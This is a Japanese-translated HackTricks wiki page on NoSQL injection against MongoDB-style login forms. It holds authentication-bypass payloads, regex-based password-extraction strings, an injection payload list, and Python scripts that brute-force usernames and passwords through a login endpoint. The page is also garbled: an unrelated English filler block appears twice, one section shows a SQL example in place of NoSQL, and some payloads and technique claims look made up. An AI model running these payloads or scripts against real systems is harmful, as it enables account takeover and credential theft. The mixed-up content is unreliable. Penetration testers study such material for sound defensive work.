hacktricks/pentesting-web/nosql-injection.md
2023-07-07 23:42:27 +00:00

468 lines
25 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# NoSQLインジェクション
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFでダウンロードしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
NoSQLデータベースは、従来のSQLデータベースよりも緩い整合性制約を提供します。関係の制約や整合性チェックが少なくても、NoSQLデータベースはパフォーマンスとスケーリングの利点を提供することがあります。しかし、これらのデータベースは、従来のSQL構文を使用していなくても、インジェクション攻撃の脆弱性がある可能性があります。
## 攻撃手法
PHPでは、送信されるパラメータを_parameter=foo_から_parameter\[arrName]=foo_に変更することで、配列を送信することができます。
攻撃手法は、**オペレータ**を追加することに基づいています:
```bash
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
```
### 基本認証のバイパス
**等しくない ($ne) やより大きい ($gt) を使用する**
```bash
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```
### **SQL - Mongo**
### **SQL - Mongo**
MongoDB is a popular NoSQL database that uses a document-oriented model to store data. It is widely used in web applications and offers a flexible and scalable solution for managing large amounts of data.
#### **NoSQL Injection**
NoSQL injection is a type of attack that targets NoSQL databases, such as MongoDB, by exploiting vulnerabilities in the application's input validation. This attack allows an attacker to manipulate the database queries and potentially gain unauthorized access to sensitive data.
#### **Query Structure**
In MongoDB, queries are structured using JSON-like syntax. The basic structure of a MongoDB query consists of a collection name and a set of key-value pairs that define the search criteria.
```javascript
db.collection.find({ key: value })
```
#### **NoSQL Injection Techniques**
NoSQL injection techniques are similar to SQL injection techniques, but they are tailored to exploit the specific vulnerabilities of NoSQL databases. Here are some common techniques used in NoSQL injection attacks:
1. **Boolean-based Injection**: This technique involves manipulating the query to return a different result based on the injected condition. For example, injecting a condition that is always true can bypass authentication checks.
2. **Time-based Injection**: This technique involves injecting a delay into the query to determine if the injected condition is true or false. By measuring the response time, an attacker can infer information about the database.
3. **Union-based Injection**: This technique involves injecting a query that combines the results of multiple queries. By manipulating the query, an attacker can retrieve data from different collections or documents.
4. **Error-based Injection**: This technique involves injecting a query that triggers an error message. By analyzing the error message, an attacker can gather information about the database structure or retrieve sensitive data.
#### **Prevention**
To prevent NoSQL injection attacks, it is important to implement proper input validation and sanitization techniques. Here are some best practices to follow:
1. **Input Validation**: Validate and sanitize all user input before using it in a database query. Use parameterized queries or prepared statements to ensure that user input is treated as data and not as part of the query structure.
2. **Least Privilege**: Limit the privileges of the database user used by the application. Use separate user accounts with minimal privileges for different operations.
3. **Secure Configuration**: Follow secure configuration practices for your MongoDB deployment. Disable unnecessary features and services, and enable authentication and encryption.
4. **Regular Updates**: Keep your MongoDB installation up to date with the latest security patches and updates.
By following these best practices, you can significantly reduce the risk of NoSQL injection attacks and protect your MongoDB database from unauthorized access.
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00
```
### 長さ情報の抽出
To extract the length information from a NoSQL database, you can use the following techniques:
NoSQL databases often provide functions or operators to retrieve the length of a string or an array. By injecting specific payloads, you can exploit these functions to extract information.
#### MongoDB
In MongoDB, you can use the `$where` operator along with JavaScript code to perform NoSQL injection. By injecting code that retrieves the length of a field, you can extract the length information.
For example, to extract the length of the `username` field in a MongoDB database, you can use the following payload:
```
db.collection.find({$where: "this.username.length == 10"})
```
This payload will return all documents where the length of the `username` field is equal to 10.
#### CouchDB
In CouchDB, you can use the `map` function to perform NoSQL injection. By injecting code that retrieves the length of a field, you can extract the length information.
For example, to extract the length of the `username` field in a CouchDB database, you can use the following payload:
```
/_design/test/_view/test?startkey="admin"&endkey="admin"\u0000"&map="function(doc){if(doc.username.length==10){emit(doc._id,doc);}}"
```
This payload will return all documents where the length of the `username` field is equal to 10.
#### Other NoSQL Databases
For other NoSQL databases, you can explore the available functions or operators to retrieve the length of a field. By injecting code that utilizes these functions or operators, you can extract the length information.
Remember to always sanitize and validate user input to prevent NoSQL injection attacks.
```bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
```
### **データ**情報の抽出
NoSQLインジェクションは、NoSQLデータベースに対する攻撃手法の一つです。この攻撃手法では、アプリケーションがユーザーの入力を適切に検証せずにデータベースクエリに直接組み込んでいる場合に悪用されます。
NoSQLインジェクションを利用してデータ情報を抽出するためには、以下の手順を実行します。
1. ユーザーの入力を特定のクエリパラメータに挿入します。
2. クエリの構造を解析し、データベースのクエリを改変します。
3. クエリの結果を解析し、データ情報を抽出します。
以下は、NoSQLインジェクションによるデータ情報の抽出の例です。
```javascript
// 入力されたユーザー名を使用してデータベースクエリを実行する例
var username = req.body.username;
var query = "SELECT * FROM users WHERE username = '" + username + "'";
db.query(query, function(err, result) {
if (err) throw err;
res.send(result);
});
```
攻撃者は、ユーザー名の入力に対して特殊な文字列を挿入することで、クエリを改変しデータ情報を抽出することができます。
例えば、以下のような入力を行うことで、全てのユーザーの情報を抽出することができます。
```
' OR '1'='1
```
このような攻撃を防ぐためには、ユーザーの入力を適切に検証し、データベースクエリに直接組み込まないようにする必要があります。代わりに、プレースホルダやパラメータ化されたクエリを使用することで、攻撃を防ぐことができます。
```
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
### **SQL - Mongo**
### **SQL - Mongo**
MongoDB is a popular NoSQL database that uses a document-oriented model to store data. It is widely used in web applications and offers a flexible and scalable solution for managing large amounts of data.
#### **NoSQL Injection**
NoSQL injection is a type of attack that targets NoSQL databases, such as MongoDB, by exploiting vulnerabilities in the application's input validation. This attack allows an attacker to manipulate the database queries and potentially gain unauthorized access to sensitive data.
#### **Query Structure**
In MongoDB, queries are structured using JSON-like syntax. The basic structure of a MongoDB query consists of a collection name and a set of key-value pairs that define the search criteria.
```javascript
db.collection.find({ key: value })
```
#### **NoSQL Injection Techniques**
NoSQL injection techniques are similar to SQL injection techniques, but they are tailored to exploit the specific vulnerabilities of NoSQL databases. Here are some common techniques used in NoSQL injection attacks:
1. **Boolean-based Injection**: This technique involves manipulating the query to return a different result based on the injected condition. For example, injecting a condition that is always true can bypass authentication checks.
2. **Time-based Injection**: This technique involves injecting a delay into the query to determine if the injected condition is true or false. By measuring the response time, an attacker can infer information about the database.
3. **Union-based Injection**: This technique involves injecting a query that combines the results of multiple queries. By manipulating the query, an attacker can retrieve data from different collections or documents.
4. **Error-based Injection**: This technique involves injecting a query that triggers an error message. By analyzing the error message, an attacker can gather information about the database structure or retrieve sensitive data.
#### **Prevention**
To prevent NoSQL injection attacks, it is important to implement proper input validation and sanitization techniques. Here are some best practices to follow:
1. **Input Validation**: Validate and sanitize all user input before using it in a database query. Use parameterized queries or prepared statements to ensure that user input is treated as data and not as part of the query structure.
2. **Least Privilege**: Limit the privileges of the database user used by the application. Use separate user accounts with minimal privileges for different operations.
3. **Secure Configuration**: Follow secure configuration practices for your MongoDB deployment. Disable unnecessary features and services, and enable authentication and encryption.
4. **Regular Updates**: Keep your MongoDB installation up to date with the latest security patches and updates.
By following these best practices, you can significantly reduce the risk of NoSQL injection attacks and protect your MongoDB database from unauthorized access.
```
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
```
### PHP任意関数実行
デフォルトで使用される[MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite)ライブラリの**$func**演算子を使用すると、[このレポート](https://swarm.ptsecurity.com/rce-cockpit-cms/)のように任意の関数を実行することができるかもしれません。
```python
"user":{"$func": "var_dump"}
```
![](<../.gitbook/assets/image (468).png>)
### 異なるコレクションから情報を取得する
[**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/)を使用して、異なるコレクションから情報を取得することができます。次の例では、**`users`**という名前の**異なるコレクション**から読み取り、ワイルドカードに一致するパスワードを持つ**すべてのエントリの結果**を取得しています。
```json
[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]
```
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**することができます。\
今すぐアクセスを取得してください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Blind NoSQL
```python
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
```
```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
## MongoDB ペイロード
### NoSQL Injection
NoSQLインジェクションは、MongoDBデータベースに対する攻撃手法の一つです。この攻撃手法では、クエリパラメータに悪意のある入力を注入することで、データベースから意図しない情報を取得したり、データを改ざんしたりすることが可能です。
以下に、NoSQLインジェクションに使用される一般的なペイロードの例を示します。
### ペイロードの例
#### ユーザー名とパスワードのバイパス
```javascript
username[$ne]=admin&password[$ne]=password
```
このペイロードは、`username`が`admin`でなく、`password`が`password`でない場合に真となるクエリを生成します。これにより、正しいユーザー名とパスワードを知らずにログインすることができます。
#### パスワードのハッシュのバイパス
```javascript
username=admin&password[$regex]=.*&password[$options]=si
```
このペイロードは、`username`が`admin`であり、`password`が任意の値である場合に真となるクエリを生成します。これにより、パスワードのハッシュを知らずにログインすることができます。
#### データベースの情報の漏洩
```javascript
username=admin'&password[$regex]=.*&password[$options]=si
```
このペイロードは、`username`が`admin'`であり、`password`が任意の値である場合に真となるクエリを生成します。これにより、データベースの情報を漏洩させることができます。
#### コレクションの情報の漏洩
```javascript
username=admin'&password[$regex]=.*&password[$options]=si&$where=1==1
```
このペイロードは、`username`が`admin'`であり、`password`が任意の値である場合に真となるクエリを生成します。さらに、`$where`演算子を使用して、条件を常に真とすることで、コレクションの情報を漏洩させることができます。
### 対策方法
NoSQLインジェクションを防ぐためには、以下の対策を実施することが重要です。
- 入力検証とエスケープ処理の実施
- ホワイトリストに基づくデータの検証
- パラメータ化されたクエリの使用
- 最小特権の原則の適用
これらの対策を組み合わせることで、NoSQLインジェクションに対するセキュリティを向上させることができます。
```
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
```
## ツール
* [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
* [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
### POSTログインからのユーザー名とパスワードのブルートフォース攻撃
これは簡単なスクリプトですが、前述のツールでもこのタスクを実行することができます。
```python
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames():
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
for c in possible_chars:
username = "^" + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print("Found username starting with "+c)
while True:
for c2 in possible_chars:
params["username[$regex]"] = username + c2 + ".*"
if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
username += c2
print(username)
break
if c2 == possible_chars[-1]:
print("Found username: "+username[1:])
usernames.append(username[1:])
break
return usernames
for u in get_usernames():
get_password(u)
```
## 参考文献
* [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングのトリックを共有する**ために、PRを**hacktricksリポジトリ**と**hacktricks-cloudリポジトリ**に提出してください。
</details>
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}